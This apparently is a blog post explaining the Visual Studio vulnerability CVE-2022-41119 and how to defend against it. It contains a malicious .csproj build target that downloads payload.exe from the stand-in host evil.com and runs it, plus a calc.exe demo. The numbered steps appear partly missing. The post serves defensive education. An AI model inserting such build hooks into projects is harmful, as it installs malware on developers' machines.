On November 8, 2022, Microsoft published an important advisory about a critical vulnerability in Visual Studio, tagged CVE-2022-41119. If you use Visual Studio as a developer, this flaw could put your system—and potentially your organization—at serious risk. In this post, I’ll explain what it is, how an attacker can exploit it, and give you code snippets and links so you can stay informed and protected.

What is CVE-2022-41119?

This vulnerability is found in Visual Studio 2022 (and some earlier versions) and is classified as a Remote Code Execution (RCE) vulnerability. In simple terms, an attacker can trick you into opening a malicious project, and this can allow the attacker to run their code on your system.  
Microsoft rated the severity as Important.

Official References

- Microsoft Security Response Center (MSRC) advisory
- NVD Entry

How Does It Work?

The exploit typically abuses the way Visual Studio loads certain project files or dependencies. By crafting a malicious project file (like .csproj, .vbproj, etc.) or adding dangerous build scripts, an attacker can execute arbitrary commands the next time you open and build the project.

You open the project in Visual Studio and trigger a build.

3. Malicious build steps or code are executed—not as the project’s code but as arbitrary system commands.

Malicious Section in .csproj File

<Target Name="BeforeBuild">
  <Exec Command="powershell.exe -ExecutionPolicy Bypass -NoProfile -Command &amp; { Invoke-WebRequest http://evil.com/payload.exe -OutFile C:\temp\payload.exe; Start-Process C:\temp\payload.exe }" />
</Target>

*What happens:* The above instructs MSBuild to run a PowerShell command before the build. This downloads and runs malware.

Exploit Example

Let's say an attacker creates a project with this kind of payload.  
All you have to do is open the project and start a build, and—if not patched—your computer runs the attacker’s code.

Download a malicious project from the web:

git clone https://github.com/attacker/malicious-project.git
cd malicious-project

Open in Visual Studio and build.

That’s it—the exploit can drop malware or backdoors on your system.

Bypasses virus checks: Plain XML project files rarely trigger antivirus alarms.

- Easy to share: Anyone can upload such a project to GitHub, forums, or send as an email attachment.

A Realistic Demo (Never Run on Your Real Machine!)

Here's a basic, sanitized .csproj payload for educational purposes.

Never use this on any real system!

<Project Sdk="Microsoft.NET.Sdk">
  <Target Name="Exploit" AfterTargets="Build">
    <Exec Command="calc.exe" />
  </Target>
</Project>

Instead of calc.exe, an attacker may execute any payload.

How to Protect Yourself

- Update Visual Studio: Microsoft patched this in Visual Studio 2022 version 17.3.6 and later. Always install the latest updates.
- Never build untrusted projects. Treat unfamiliar projects like you would a suspicious email attachment.
- Review project files: Always check .csproj, .props, .targets, and any MSBuild scripts for <Exec> tasks or strange commands.

Further Reading

- Microsoft’s official fix
- Good practices for MSBuild security

Final Advice

CVE-2022-41119 shows that development tools can be a prime target for attackers. Always update your development environment, review external code carefully, and remember: if in doubt, don’t build!

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Timeline

Published on: 11/09/2022 22:15:00 UTC
Last modified on: 11/10/2022 00:33:00 UTC